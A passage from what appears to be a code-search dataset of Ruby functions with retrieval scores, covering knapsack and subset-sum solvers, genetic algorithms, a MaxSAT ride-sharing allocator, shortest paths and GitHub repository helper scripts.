"text": "def ukp5(ukpi, return_used_items = false)\n n = ukpi[:n]\n c = ukpi[:c]\n items = ukpi[:items].clone\n\n max_w = items.max_by { | i | i[:w] }[:w]\n g = Array.new(c+max_w+1, 0)\n d = Array.new(c+max_w+1, n-1)\n sort_items_by_profitability!(items)\n\n last_y_where_nonbest_item_was_used = 0\n items.each_with_index do | it, ix |\n wi = it[:w]\n pi = it[:p]\n if g[wi] < pi then\n g[wi] = pi\n d[wi] = ix\n last_y_where_nonbest_item_was_used = wi if wi > last_y_where_nonbest_item_was_used && ix != 0\n end\n end\n\n opt = 0\n (1..(c-1)).each do | y |\n next if g[y] <= opt\n break if last_y_where_nonbest_item_was_used < y\n\n opt = gy = g[y]\n dy = d[y]\n\n # this block is a copy-past of the loop bellow only for the best item\n bi = items[0]\n pb = bi[:p]\n wb = bi[:w]\n next_y = y + wb\n old_gny = g[next_y]\n new_gny = gy + pb\n if old_gny < new_gny then\n g[next_y] = new_gny\n d[next_y] = 0\n end\n\n (1..dy).each do | ix |\n it = items[ix]\n pi = it[:p]\n wi = it[:w]\n ny = y + wi\n ogny = g[ny]\n ngny = gy + pi\n if ogny < ngny then\n g[ny] = ngny\n d[ny] = ix\n last_y_where_nonbest_item_was_used = ny if ny > last_y_where_nonbest_item_was_used\n end\n end\n end\n\n if last_y_where_nonbest_item_was_used < c-1 then\n y_ = last_y_where_nonbest_item_was_used\n while d[y_] != 0 do\n y_ += 1\n end\n# puts \"Periodicity used - c: #{c}; last_y: #{y_}\"\n\n extra_capacity = c - y_\n c1, a1 = items[0][:p], items[0][:w]\n qt_best_item_used = Rational(extra_capacity, a1).ceil\n space_used_by_best_item = qt_best_item_used*a1\n profit_generated_by_best_item = qt_best_item_used*c1\n\n opt_y = get_opt_y(c-space_used_by_best_item, items, g, d)\n g[c] = g[opt_y] + profit_generated_by_best_item\n end\n\n opt = g[c] if opt < g[c]\n\n if return_used_items then\n g.slice!(c+1, max_w)\n d.slice!(c+1, max_w)\n opt_y = get_opt_y(c, items, g, d)\n get_used_items_for_y(opt_y, items, g, d)\n else\n opt\n end\nend",
"title": ""
},
{
"docid": "e742c59d35135ca7c33322a94df14463",
"score": "0.4838767",
"text": "def allocateBySATforEachDemand(demand)\n selfDefnWeightsArray = Array.new();\n nofBus = @simulator.savList.size();\n acceptedSizeArray = Array.new();\n allPairsHashArray = Array.new();\n deadlineArray = Array.new();\n # Anonymous1 04/02 -> extension for the case of (one demand n-passengers) via 'pickDropArray'\n pickDropArray = Array.new();\n # Anonymous1 04/09 -> number of carried\n nofCarried = Array.new();\n newDemandSize = 1;\n capacityArray = Array.new();\n tmpArray = Array.new();\n tmpHash = Hash.new();\n # for dealing with the capacity's inconsistency of dummyPoint\n busIDArrayWhoseBusIncludeDummy = Array.new();\n @simulator.savList.each{|sav|\n #sav.clearDummyViaPointsInTail();\n if sav.viaPointList.size()-1 > sav.viaPointIndex && sav.viaPointList.size() >= 2\n for i in sav.viaPointIndex..sav.viaPointList.size()-2\n if sav.viaPointList[sav.viaPointIndex].mode != :dummy && sav.viaPointList[i].mode == :dummy\n puts \"caught you!\";\n sav.viaPointList.delete_at(i);\n end\n end\n end\n for i in sav.viaPointIndex..sav.viaPointList.size()-1\n if sav.viaPointList[i].mode == :dummy\n busIDArrayWhoseBusIncludeDummy.push(1);\n break;\n elsif i == sav.viaPointList.size()-1 && sav.viaPointList[i].mode != :dummy\n busIDArrayWhoseBusIncludeDummy.push(0);\n end\n end\n tmpArray.clear();\n tmpArray.push(sav.fetchPosition());\n acceptedSizeArray.push(sav.viaPointList.size()-sav.viaPointIndex);\n for i in sav.viaPointIndex..sav.viaPointList.size()-1\n tmpArray.push(sav.viaPointList[i]);\n end\n tmpHash.clear();\n for i in 1..tmpArray.size()-1\n if tmpArray[i].mode == :pickUp\n for j in i+1..tmpArray.size()-1\n if tmpArray[i].demand == tmpArray[j].demand && tmpArray[j].mode == :dropOff\n tmpHash.store(j-1, i-1);\n break;\n end\n end\n end\n end\n allPairsHashArray.push(tmpHash.clone());\n tmpArray.push(demand.tripViaPoint.pickUp);\n tmpArray.push(demand.tripViaPoint.dropOff);\n for i in 1..tmpArray.size()-1\n if tmpArray[i].mode == :dropOff\n deadlineArray.push((1*(tmpArray[i].demand.tripRequiredTime.dropOff)).to_i);\n pickDropArray.push((-1*(tmpArray[i].demand.numPassenger)).to_i);\n elsif tmpArray[i].mode == :pickUp\n deadlineArray.push(0);\n pickDropArray.push((1*(tmpArray[i].demand.numPassenger)).to_i);\n elsif tmpArray[i].mode == :dummy\n deadlineArray.push(0);\n pickDropArray.push(0);\n end\n end\n nofCarried.push(sav.countNumOnBoard());\n for i in 1..tmpArray.size()-1\n for j in 0..tmpArray.size()-1\n selfDefnWeightsArray.push((1+1*(estimateTime(tmpArray[j], tmpArray[i], sav, :averageManhattan))).to_i);\n end\n end\n capacityArray.push(sav.capacity);\n if sav.countNumOnBoard() > sav.capacity\n #puts \"error numOnBorad: #{sav.countNumOnBoard()}\";\n #exit;\n end\n }\n #puts \"selfDefnWeightsArray: #{selfDefnWeightsArray}\";\n #puts \"nofBus: #{nofBus}\";\n #puts \"acceptedSizeArray: #{acceptedSizeArray}\";\n #puts \"allPairsHashArray: #{allPairsHashArray}\";\n #puts \"deadlineArray: #{deadlineArray}\";\n #puts \"pickDropArray: #{pickDropArray}\";\n #puts \"newDemandSize: #{newDemandSize}\";\n #puts \"capacityArray: #{capacityArray}\";\n encodingDone = false;\n if (nofBus * newDemandSize != 0) \n #wcnfGen(selfDefnWeightsArray, nofBus, acceptedSizeArray, allPairsHashArray, deadlineArray, newDemandSize, capacityArray);\n #runMaxSATSolver = \"../../encodedProblem/qmaxsat_g3 -cpu-lim=10 -card=mrwto -pmodel=0 -incr=1 ../../encodedProblem/test.wcnf ../../encodedProblem/externality.txt ../../encodedProblem/answer.txt > ../../encodedProblem/log.txt\";\n # for NCC\n encodingDone = wcnfGenNcc(selfDefnWeightsArray, nofBus, acceptedSizeArray, allPairsHashArray, deadlineArray, newDemandSize, capacityArray, busIDArrayWhoseBusIncludeDummy,pickDropArray,nofCarried);\n runMaxSATSolver = \"../../encodedProblem/qmaxsatNcc_g3 -cpu-lim=10 -card=mrwto -pmodel=0 -incr=1 ../../encodedProblem/test.wcnf ../../encodedProblem/externality.txt ../../encodedProblem/answer.txt > ../../encodedProblem/log.txt\";\n clearPreviousAns = \"rm ../../encodedProblem/answer.txt\";\n if encodingDone \n system(runMaxSATSolver);\n else\n system(clearPreviousAns);\n end\n end\n \n if encodingDone\n maxSATans = IO.readlines(\"../../encodedProblem/answer.txt\");\n else\n maxSATans = Array.new();\n maxSATans.push(\"UNSAT\");\n maxSATans.push(\"noEncodedProblem\");\n end\n if encodingDone && maxSATans[0].include?(\"OPT\") && maxSATans[1] != nil\n allocatedViaPointList = Array.new();\n tmpAnsReadLine = Array.new();\n busID = maxSATans[1].to_i;\n updateFlag = false;\n sav = @simulator.savList[busID-1];\n tmpAnsReadLine = maxSATans[2].split(\" \").map{|str| str.to_i};\n if sav.viaPointIndex == sav.viaPointList.size()\n for i in 0..sav.viaPointList.size()-1\n allocatedViaPointList.push(sav.viaPointList[i]);\n end\n for i in 1..tmpAnsReadLine.size()-1\n updateFlag = true;\n if ( (tmpAnsReadLine[i]-(acceptedSizeArray[busID-1]))%2 == 0 ) # pickUp\n allocatedViaPointList.push( demand.tripViaPoint.pickUp );\n else # dropOff\n allocatedViaPointList.push( demand.tripViaPoint.dropOff );\n end\n end\n elsif acceptedSizeArray[busID-1]+1 < tmpAnsReadLine.size()\n for i in 0..sav.viaPointIndex\n allocatedViaPointList.push(sav.viaPointList[i]);\n end\n for i in 2..tmpAnsReadLine.size()-1\n updateFlag = true;\n if (tmpAnsReadLine[i] > acceptedSizeArray[busID-1]+1)\n if ( (tmpAnsReadLine[i]-(acceptedSizeArray[busID-1]+1))%2 == 1 ) # pickUp\n allocatedViaPointList.push( demand.tripViaPoint.pickUp );\n else # dropOff\n allocatedViaPointList.push( demand.tripViaPoint.dropOff );\n end\n else\n allocatedViaPointList.push(sav.viaPointList[ sav.viaPointIndex+tmpAnsReadLine[i]-2 ]);\n end\n end\n end\n if ( updateFlag )\n tmpViaPointIndex = sav.viaPointIndex;\n sav.viaPointList.clear();\n #for i in 0..allocatedViaPointList.size()-1\n # sav.viaPointList.push(allocatedViaPointList[i]);\n #end\n for i in 0..allocatedViaPointList.size()-1\n if i <= tmpViaPointIndex || allocatedViaPointList[i].mode != :dummy\n sav.viaPointList.push(allocatedViaPointList[i]);\n else\n puts \"planned route includes dummyViaPoint (NOT FIRST POINT)!\";\n end\n end\n \n viaPointIndex = sav.viaPointIndex ;\n prevPos = sav.fetchPosition() ;\n currentTime = @simulator.currentTime ;\n (viaPointIndex...sav.viaPointList.size).each{|idx|\n viaPoint = sav.viaPointList[idx] ;\n diffTime = estimateTime(prevPos, viaPoint, sav, :averageManhattan) ;\n currentTime += diffTime ;\n\n # store new plan\n if(true) then\n if(viaPoint.mode == :pickUp) then\n viaPoint.demand.updatePlannedPickUpTime(currentTime) ;\n elsif(viaPoint.mode == :dropOff) then\n viaPoint.demand.updatePlannedDropOffTime(currentTime) ;\n end\n end\n\n prevPos = viaPoint.pos ;\n }\n \n sav.assignedDemandList.push(demand) ;\n sav.clearDummyViaPointsInTail();\n demand.sav = sav ;\n \n #@simulator.savList[busID-1] = sav;\n\n pushAllocatedDemand( demand ) ;\n end\n\n else #if maxSATans[0].include?(\"UNSAT\") || !encodingDone\n if maxSATans[1] != nil\n if maxSATans[1].include?(\"exceeDeadline\")\n puts \"UNSAT (reason: exceeDeadline)\";\n demand.cancel(@simulator, :exceedDropOffTime);\n elsif maxSATans[1].include?(\"exceedCapacity\")\n puts \"UNSAT (reason: exceedCapacity)\";\n demand.cancel(@simulator, :exceedCapacity);\n elsif maxSATans[1].include?(\"noEncodedProblem\")\n puts \"UNSAT (reason: noEncodedProblem)\";\n demand.cancel(@simulator, :notAssigned);\n else\n puts \"UNSAT (reason: searchTimeout)\";\n demand.cancel(@simulator, :notAssigned);\n end\n else\n puts \"Unknown reason\";\n demand.cancel(@simulator, :notAssigned);\n #exit;\n end\n pushCancelledDemand( demand ) ;\n end\n \n sumOFinished = 0;\n @simulator.savList.each{|sav|\n for i in 0..sav.viaPointIndex-1\n if sav.viaPointList[i] != nil && sav.viaPointList[i].mode == :dropOff\n sumOFinished += 1;\n end\n end\n }\n puts \"sumOFinished : #{sumOFinished} | timeCost : #{@simulator.currentTime}\";\n if @simulator.currentTime >= 44000\n puts \"Finished time : #{@simulator.currentTime}\";\n exit;\n end\n \n end",
"title": ""
},
{
"docid": "dc2af9b0534ab0117f0868655ca8023a",
"score": "0.48387012",
"text": "def search(population_size: 20, maximum_number_of_generations: 100, number_of_mutation_sites: 2, crossover_probability: 0.95, mutation_probability: 0.05)\n\n population_size = population_size.to_i unless population_size.kind_of?(Integer)\n maximum_number_of_generations = maximum_number_of_generations.to_i unless maximum_number_of_generations.kind_of?(Integer)\n # number_of_mutation_sites = BigDecimal(number_of_mutation_sites.to_s) unless number_of_mutation_sites.kind_of?(BigDecimal)\n # crossover_probability = BigDecimal(crossover_probability.to_s) unless crossover_probability.kind_of?(BigDecimal)\n # mutation_probability = BigDecimal(mutation_probability.to_s) unless mutation_probability.kind_of?(BigDecimal)\n number_of_mutation_sites = number_of_mutation_sites.to_i unless number_of_mutation_sites.kind_of?(Integer)\n crossover_probability = crossover_probability.to_f unless crossover_probability.kind_of?(Float)\n mutation_probability = mutation_probability.to_f unless mutation_probability.kind_of?(Float) \n\n initialize_population(population_size)\n\n maximum_number_of_generations.times do |generation_index|\n\n @population_copy = deep_clone_population\n\n population_size.times do |individual_index|\n\n # if bigdecimal_rand < crossover_probability\n if rand < crossover_probability\n\n # Crossover pair:\n crossover_pair_1_index = generate_random_index(population_size)\n crossover_pair_2_index = generate_random_index(population_size) \n\n crossover(crossover_pair_1_index, crossover_pair_2_index)\n\n end\n\n # if bigdecimal_rand < mutation_probability\n if rand < mutation_probability\n\n mutation_individual_index = generate_random_index(population_size)\n\n mutate(mutation_individual_index, number_of_mutation_sites)\n\n end\n\n end\n\n end\n\n objective_function_value = @population_fitness.send(@objective_method_name)\n decision_variable_values = @population[@population_fitness.index(objective_function_value)]\n\n { best_decision_variable_values: decision_variable_values, best_objective_function_value: objective_function_value }\n\n end",
"title": ""
},
{
"docid": "126f501b1e9a242d319cc816f8616e43",
"score": "0.48382017",
"text": "def init_population(minmax, pop_size)\r\n strategy = Array.new(minmax.size) do |i| # Make a new array called strategy that holds [0, (5 - (-5) * 0.5)] problem_size times. [[], []] Nested array\r\n [0, (minmax[i][1]-minmax[i][0]) * 0.05]\r\n end\r\n pop = Array.new(pop_size, {}) # Array of size pop, 100 in this case of empty hashes\r\n pop.each_index do |i| # For each element in pop which is a [{}, {}]\r\n pop[i][:vector] = random_vector(minmax) # Run random_vector on the original search space and put it in the pop[index][:vector]\r\n pop[i][:strategy] = random_vector(strategy) # Run random_vector on the strategy created earlier in this method and append it to pop[index][:strategy]\r\n end\r\n pop.each{|c| c[:fitness] = objective_function(c[:vector])} # Calculates a fitness for each vector using objective_function\r\n return pop\r\nend",
"title": ""
},
{
"docid": "d578b1a16b69119b10cc25fb6a0ef871",
"score": "0.48345178",
"text": "def find_closest_value(target, item_count, acc_sum, k, multi)\n\tputs \"calling function\"\n\n #puts \"k = \" + k.to_s + \" acc_sum = \" + acc_sum.to_s + \" multi = \" + multi.to_s\n #puts \"k = \" + k.to_s + \" multi = \" + multi.to_s\n #item_count.each { |x| puts x }\n\n\n #checks current accumulated value with current max value to find the best match of given subset\n if acc_sum > $max_val\n $max_val = acc_sum\n #puts \"max value set \" + acc_sum.to_s\n #item_count.each { |x| puts x }\n $max_mul = item_count\n puts \"#{item_count}\"\n return item_count\n end\n\n #item_count contains the list of multipliers. is set here to the multiplier value\n item_count[k] = multi\n #item_count.insert(k, multi)\n puts multi.to_s\n #BASE CASE TO END RECURSION\n if multi == 0\n return 0\n end\n\n #If exact match found to target the max value is set and returns false to destroy whole recursive stack\n if acc_sum + $price[k] * item_count[k] == target\n $max_val = acc_sum + $price[k] * item_count[k]\n #item_count[k] = item_count[k] + 1\n puts \"max value set \" + $max_val.to_s\n $max_mul = item_count\n $max_mul.each { |x| puts x }\n return false\n\n#This step used to go deeper into the recursive stack only if more elements are present in the given set\n#And also checks if current value + old accumulated value doesnt exceed the target sum given\n elsif k + 1 < $n && acc_sum + $price[k] * item_count[k] <= target\n item_count = find_closest_value(target, item_count, acc_sum + $price[k] * item_count[k], k+1, (target-$price[k] * item_count[k])/$price[k+1])\n #used to destroy recursion when perfect match is found\n puts \"Next max value set \" + $max_val.to_s\n if item_count == false\n return false\n end\n end\n\n # if k+1 < $n && acc_sum + $price[k] * (item_count[k-1] - 1) + ((target - acc_sum) / $price[k + 1]) * $price[k + 1] <= target\n # item_count[k] = item_count[k] - 1\n # find_closest_value(target, item_count, acc_sum + $price[k] * item_count[k - 1], k+1, (target - acc_sum)/$price[k+1])\n # end\n\n # elsif\n temp = [0,0,0,0,0,0]\n #puts \"k last = \" + k.to_s\n #item_count.each { |x| puts x }\n #recursive call with multiplier reduced by 1 for the same element in the set\n find_closest_value(target, temp, acc_sum, k, multi - 1)\n # end\nend",
"title": ""
},
{
"docid": "ecfe0909f95a26d0aa94685c447469d0",
"score": "0.483185",
"text": "def perform_first(input_csv)\n partner = false\n delivery = \"\"\n output = []\n total_cost = 0\n count = 0\n sum = 0\n CSV.foreach(input_csv, headers: false) do |row|\n # Each row of partners hash\n # sample: {\"P1\"=>[{:\"Size Slab (IN GB)\"=>\"0-100\", :\"Minimum Cost\"=>\"1500\", :\"Cost Per GB\"=>\"20\"}, {:\"Size Slab (IN GB)\"=>\"100-200\", :\"Minimum Cost\"=>\"2000\", :\"Cost Per GB\"=>\"13\"}, {:\"Size Slab (IN GB)\"=>\"200-300\", :\"Minimum Cost\"=>\"2500\", :\"Cost Per GB\"=>\"12\"}, {:\"Size Slab (IN GB)\"=>\"300-400\", :\"Minimum Cost\"=>\"3000\", :\"Cost Per GB\"=>\"10\"}], \"P2\"=>[{:\"Size Slab (IN GB)\"=>\"0-200\", :\"Minimum Cost\"=>\"1000\", :\"Cost Per GB\"=>\"20\"}, {:\"Size Slab (IN GB)\"=>\"200-400\", :\"Minimum Cost\"=>\"2500\", :\"Cost Per GB\"=>\"15\"}], \"P3\"=>[{:\"Size Slab (IN GB)\"=>\"100-200\", :\"Minimum Cost\"=>\"800\", :\"Cost Per GB\"=>\"25\"}, {:\"Size Slab (IN GB)\"=>\"200-600\", :\"Minimum Cost\"=>\"1200\", :\"Cost Per GB\"=>\"30\"}]} \n values = []\n stripped_row = row.collect(&:strip)\n values << stripped_row[0]\n @h[stripped_row[2]].each do |k, v|\n # k = partner ids\n # v = size_slab, minimum_cost, cost_per_gb arrays\n v.each do |a|\n # a = Each array of size_slab, minimum_cost, cost_per_gb\n if find_range(a[:\"Size Slab (IN GB)\"], stripped_row[1])\n partner = true\n # Calculate minimum cost\n mul_value = (a[:\"Cost Per GB\"].to_i * stripped_row[1].to_i)\n if mul_value >= a[:\"Minimum Cost\"].to_i\n if count > 0\n if mul_value < sum\n sum = mul_value\n delivery = k\n total_cost = sum\n end\n else\n sum = mul_value\n delivery = k\n total_cost = sum\n count += 1\n end\n end\n end\n end\n end\n count = 0\n # Assinging output values\n values << true if partner == true\n values << total_cost\n values << delivery\n values.join(' ')\n output << values\n end\n # To create output csv\n create_output_csv(output)\n end",
"title": ""
},
{
"docid": "9dcab9a8257fb58a2be97d29f66dd96b",
"score": "0.48215172",
"text": "def reserve_and_run_one_job; end",
"title": ""
},
{
"docid": "1f0d17a3405a955e15c30b26dcb00aea",
"score": "0.48204428",
"text": "def selection\n # Clear the ArrayList\n @mating_pool.clear\n # Calculate total fitness of whole population\n max_fitness = @population.max_by(&:fitness).fitness\n # Calculate fitness for each member of the population (scaled to value\n # between 0 and 1). Based on fitness, each member will get added to the\n # mating pool a certain number of times. A higher fitness = more entries\n # to mating pool = more likely to be picked as a parent. A lower fitness\n # = fewer entries to mating pool = less likely to be picked as a parent\n @population.each do |p|\n fitness_normal = map1d(p.fitness, (0..max_fitness), (0..1.0))\n (fitness_normal * 100).to_i.times { @mating_pool << p }\n end\n end",
"title": ""
},
{
"docid": "7c3b4891563802a525a90673fa4b6feb",
"score": "0.48160747",
"text": "def performable\n perf = []\n @steps.each do |k, v|\n\n # Check if all prerequesites have been performed && not already performed && not currently performing by another worker\n perf << k if (v - @performed).empty? && ! @performed.include?(k) && ! @performing.include?(k)\n end\n # p perf.sort\n # p @performed\n # perf = perf - @performed\n # puts \"Performed: #{@performed}\"\n # puts \"Performing: #{@performing}\"\n # puts \"Performable: #{perf.sort}\"\n perf.sort\n end",
"title": ""
},
{
"docid": "bde15fdb57436f91afc4db27a3a2f9ac",
"score": "0.48133662",
"text": "def computeSP\n @graph.nodes.each do |node|\n @dist_to[node]=Float::INFINITY\n end\n @dist_to[@source] = 0\n \n #node and it's distance to source (source -> source = 0)\n @queue.insert(@source, 0)\n \n #while elements exist in the queue\n while @queue.any?\n #check the lowest distance (closest)\n close = @queue.remove_min\n #check each adjacent edge\n close.adjacent_edges.each do |adjacent|\n relax(adjacent)\n end\n end\n end",
"title": ""
},
{
"docid": "23e371a7412811cac9927c417098f302",
"score": "0.48095414",
"text": "def min_size_heuristic(amount,comb,coins)\n rem = amount-comb.sum\n return Infinity if rem < 0\n comb.size+rem.to_f/(coins.select{|c|c<=rem&&c<=comb.max}.max) rescue comb.size\nend",
"title": ""
},
{
"docid": "9d298b92ab603175df147bb764aa9d43",
"score": "0.4806185",
"text": "def synthesis\n 0.upto(14) do |index|\n #@joblist.each do |joblink|\n jobhash = {}\n if @joblist[index] != nil\n job = @joblist[index].click\n title = job.parser.css(\"title\").text\n jobhash[:jobTitle] = job.parser.css(\"h1[class = 'jobTitle']\").text\n jobhash[:companyName] = job.parser.css(\"li a[class = 'dice-btn-link']\").text\n jobhash[:jobLink] = job.parser.css(\"link[rel = 'canonical']\").attribute('href').value\n jobhash[:location] = job.parser.css(\"li[class = 'location']\").text\n jobhash[:date] = title.match(/- (\\d+.+)\\|/).captures.sample\n @jobdb << jobhash\n @employers << jobhash[:companyName] unless @employers.include? jobhash[:companyName]\n end\n end\n end",
"title": ""
},
{
"docid": "efe6cfbc1f7a5ae86a57e70392593ca5",
"score": "0.48026174",
"text": "def compute\n @sequence.empty? and return []\n last_r = -Infinity\n min = @sequence.min\n max = @sequence.max\n step = (max - min) / bins.to_f\n Array.new(bins) do |i|\n l = min + i * step\n r = min + (i + 1) * step\n c = 0\n @sequence.each do |x|\n x > last_r and (x <= r || i == bins - 1) and c += 1\n end\n last_r = r\n Bin.new(l, r, c)\n end\n end",
"title": ""
},
{
"docid": "7b8f7b23cd4fb9323843d044abe43dec",
"score": "0.4793942",
"text": "def get_sequence(map, order)\r\n\t# this is a dumb but correct solution\r\n\t# shuffle randomly messes up the elements in an array\r\n\t\r\n\t#return order.shuffle\r\n\t$globalArr = []\r\n\t$finalAns = []\r\n\t$globalArr2 = []\r\n\t$BestAns = []\r\n\t\r\n\tprintData(map, order)\r\n\r\n\t#return $finalAns.collect {|ind| ind[0]}\r\n\t\r\n\t##puts \"BEST:\" + $BestAns.to_s\r\n\r\n\t#score1 = q1_scoreMY(map, $BestAns[0])\r\n\t#score2 = q1_scoreMY(map, $BestAns[1])\r\n\t#if score1 < score2 \r\n\t#\treturn $BestAns[0]\r\n\t#else \r\n\t#\treturn $BestAns[1]\r\n\t#end\r\n\t#test = order.permutation(2).to_a\r\n\t#print test\r\n\tans = twoOpt(map, $BestAns[0])\r\n\t#puts \"Order by greedy + 2-opt: \" + ans.to_s\r\n\t#puts \"=====================================================================================================================================================\"\r\n\t#puts \"====================================================================================================================================================\"\r\n\treturn ans\r\n\t#return twoOpt(map, order)\r\n\t#return randomShit(map,order)\r\n\r\n\t\r\nend",
"title": ""
},
{
"docid": "ac044647914b04f8ee085559a8840ba9",
"score": "0.4793743",
"text": "def prepare(size = 100, initial_size = 1000, offspring = 80)\n @offspring = offspring\n initial = []\n initial_size.times do\n g = @genotype.new_rand_chrom\n initial << g unless initial.include?(g)\n end\n sort!(initial)\n size.times do\n self << initial.shift\n end\n\n @logger.info \"Population con #{self.size} habitantes\"\n end",
"title": ""
},
{
"docid": "b036dadf9ec3fd723869698ed2a01770",
"score": "0.4790516",
"text": "def knapsack(weights, values, capacity)\n\n end",
"title": ""
}
] |
b21516828e183ac1df5cbd1714e7ef58
|
INSTANCE METHODS use GitHub api to pull `do1_test_source` for each module and set up test case commits if they don't exist
|
[
{
"docid": "0e2eb61df16f431b66abf1ff3a2cbf5f",
"score": "0.6703014",
"text": "def api_test_cases\n cases_present = {}\n TestCase.modules.each do |mod|\n source_file = \"/#{mod}/test_suite/do1_test_source\"\n begin\n contents = Base64.decode64(\n Commit.api.content(\n Commit.repo_path, path: source_file, query: {ref: sha}).content)\n cases_present[mod] = []\n contents.split(\"\\n\").each do |line|\n if /^\\s*do_one\\s+(\\S+)/ =~ line\n cases_present[mod] << $1\n elsif /^\\s*return\\s*$/ =~ line\n break\n end\n end\n rescue Octokit::NotFound\n puts \"No do1_test_source found for module #{mod} in commit #{self}. \"\\\n \"Skipping it.\"\n end\n end\n cases_present\n end",
"title": ""
}
] |
[
{
"docid": "cfb75dda993f655efee3929d4e273fef",
"score": "0.5734657",
"text": "def load_test_source_data(mod: :all)\n # allow for brainless loading of all module data\n if mod == :all\n MesaTestCase.modules.each do |this_mod|\n load_test_source_data(mod: this_mod)\n end\n else\n check_mod mod\n # load data from the source file\n source_lines = IO.readlines(\n File.join(test_suite_dir(mod: mod), 'do1_test_source')\n )\n\n # initialize data hash to empty hash and name array to empty array\n @test_data[mod] = {}\n @test_names[mod] = []\n @test_cases[mod] = {}\n\n # read through each line and find four data, name, success string, final\n # model name, and photo. Either of model name and photo can be \"skip\"\n source_lines.each do |line|\n no_skip = /^do_one (.+)\\s+\"([^\"]*)\"\\s+\"([^\"]+)\"\\s+(x?\\d+|auto)/\n one_skip = /^do_one (.+)\\s+\"([^\"]*)\"\\s+\"([^\"]+)\"\\s+skip/\n two_skip = /^do_one (.+)\\s+\"([^\"]*)\"\\s+skip\\s+skip/\n found_test = false\n if line =~ no_skip\n found_test = true\n @test_data[mod][$1] = { success_string: $2, final_model: $3,\n photo: $4}\n elsif line =~ one_skip\n found_test = true\n @test_data[mod][$1] = { success_string: $2, final_model: $3,\n photo: nil }\n elsif line =~ two_skip\n found_test = true\n @test_data[mod][$1] = { success_string: $2, final_model: nil,\n photo: nil }\n end\n\n if found_test\n @test_names[mod] << $1 unless @test_names[mod].include? $1\n end\n end\n\n # make MesaTestCase objects accessible by name\n @test_names[mod].each do |test_name|\n data = @test_data[mod][test_name]\n @test_cases[mod][test_name] = MesaTestCase.new(\n test: test_name, mesa: self, success_string: data[:success_string],\n mod: mod, final_model: data[:final_model], photo: data[:photo]\n )\n end\n end\n end",
"title": ""
},
{
"docid": "8d80208a8febb74912060afe474bd026",
"score": "0.5728413",
"text": "def pull_source(context)\n \n owners = context.dashboard_config['organizations+logins']\n data_directory = context.dashboard_config['data-directory']\n scratch_directory=\"#{data_directory}/scratch\"\n unless(File.exist?(scratch_directory))\n Dir.mkdir(scratch_directory)\n end\n \n # TODO: \n# private=false\n# if(ARGV)\n# privateMode = (ARGV[0] == '--private')\n# end\n \n owners.each do |owner|\n\n context.feedback.print \" #{owner} \"\n \n unless(File.exist?(\"#{scratch_directory}/#{owner}\"))\n Dir.mkdir(\"#{scratch_directory}/#{owner}\")\n end\n \n repos = context.repositories(owner)\n\n repos.each do |repo|\n if repo.private\n next\n end\n# if(privateMode == false and repo.private == true)\n# next\n# end\n# if(privateMode == true and repo.private == false)\n# next\n# end\n \n repodir=\"#{scratch_directory}/#{owner}/#{repo.name}\"\n \n # Checkout or update - use other script if repo.private\n unless(File.exist?(repodir))\n cmd=\"git clone -q --depth 1 #{context.github_url}/#{owner}/#{repo.name}.git #{repodir}\"\n Open3.popen3(cmd) do |stdin, stdout, stderr, wait_thr|\n if(stderr.read.match('warning: You appear to have cloned an empty repository'))\n context.feedback.print \"!\"\n `rm -r #{repodir}`\n else\n context.feedback.print \".\"\n end\n end\n else\n # Git 1.8.5 solution\n # `git -C #{repodir} pull -q`\n Dir.chdir(repodir) do\n # `git pull -q`\n # Hoping fetch and reset will work better than pulling\n remote=`cat .git/config | grep 'remote = ' | sed 's/^.*remote = //'`.strip\n branch=`cat .git/config | grep 'merge = ' | sed 's/^.*merge = refs\\\\\\/heads\\\\\\///'`.strip\n `git fetch -q && git reset -q --hard #{remote}/#{branch}`\n end\n context.feedback.print \".\"\n end\n end\n context.feedback.print \"\\n\"\n end\nend",
"title": ""
},
{
"docid": "a4f534794c9b6f90fd40a6ff2a86f4ba",
"score": "0.56439817",
"text": "def setup\n # Create a test remote\n Dir.mkdir('remote')\n Dir.chdir('remote') do\n `git init --bare .`\n end\n @remotedir = \"#{Dir.pwd}/remote\"\n\n setup_repo_content\n\n stub_request(:get, %r{https://invent.kde.org/api/v4/projects/.+/pipelines\\?page=0&ref=master})\n .to_return(body: <<~JSON)\n [\n {\"id\":209072,\"iid\":140,\"project_id\":2823,\"sha\":\"79e4a8166394efcb772eea55cab871c37e239231\",\"ref\":\"master\",\"status\":\"success\",\"source\":\"push\",\"created_at\":\"2022-07-25T23:46:53.398Z\",\"updated_at\":\"2022-07-25T23:47:36.958Z\",\"web_url\":\"https://invent.kde.org/utilities/yakuake/-/pipelines/209072\"}\n ]\n JSON\n WebMock.enable!\n\n # Teardown happens automatically when the @tmpdir is torn down\n end",
"title": ""
},
{
"docid": "ef151bbd66397a335b50888b5afe6729",
"score": "0.562635",
"text": "def dev_setup(remote_name)\n each_repo do |module_name|\n # need to handle more failure cases\n remotes = git_cmd('remote')\n if remotes.include?(remote_name)\n puts \"Did not have to add remote #{remote_name} to #{module_name}\"\n elsif ! remotes.include?('origin')\n raise(TestException, \"Repo #{module_name} has no remote called origin, failing\")\n else\n remote_url = git_cmd('remote show origin').detect {|x| x =~ /\\s+Push\\s+URL: / }\n if remote_url =~ /(git|https?):\\/\\/(.+)\\/(.+)?\\/(.+)/\n url = \"git@#{$2}:#{remote_name}/#{$4}\"\n else\n puts \"remote_url #{remote_url} did not have the expected format. weird...\"\n end\n puts \"Adding remote #{remote_name} as #{url}\"\n git_cmd(\"remote add #{remote_name} #{url}\")\n end\n end\n end",
"title": ""
},
{
"docid": "da4a28a6055309c422e6af49f1966d8a",
"score": "0.55956554",
"text": "def dev_setup(remote_name)\n each_repo do |module_name|\n # need to handle more failure cases\n remotes = git_cmd('remote')\n if remotes.include?(remote_name)\n puts \"Did not have to add remote #{remote_name} to #{module_name}\"\n elsif ! remotes.include?('origin')\n raise(TestException, \"Repo #{module_name} has no remote called origin, failing\")\n else\n remote_url = git_cmd('remote show origin').detect {|x| x =~ /\\s+Push\\s+URL: / }\n if remote_url =~ /(git|https?):\\/\\/(.+)\\/(.+)?\\/(.+)/\n url = \"git@#{$2}:#{remote_name}/#{$4}\"\n else\n puts \"remote_url #{remote_url} did not have the expected format. weird...\"\n end\n puts \"Adding remote #{remote_name} as #{url}\"\n git_cmd(\"remote add #{remote_name} #{url}\")\n end\n end\n end",
"title": ""
},
{
"docid": "7f2ae1807e05745965174808b6d044ee",
"score": "0.55171084",
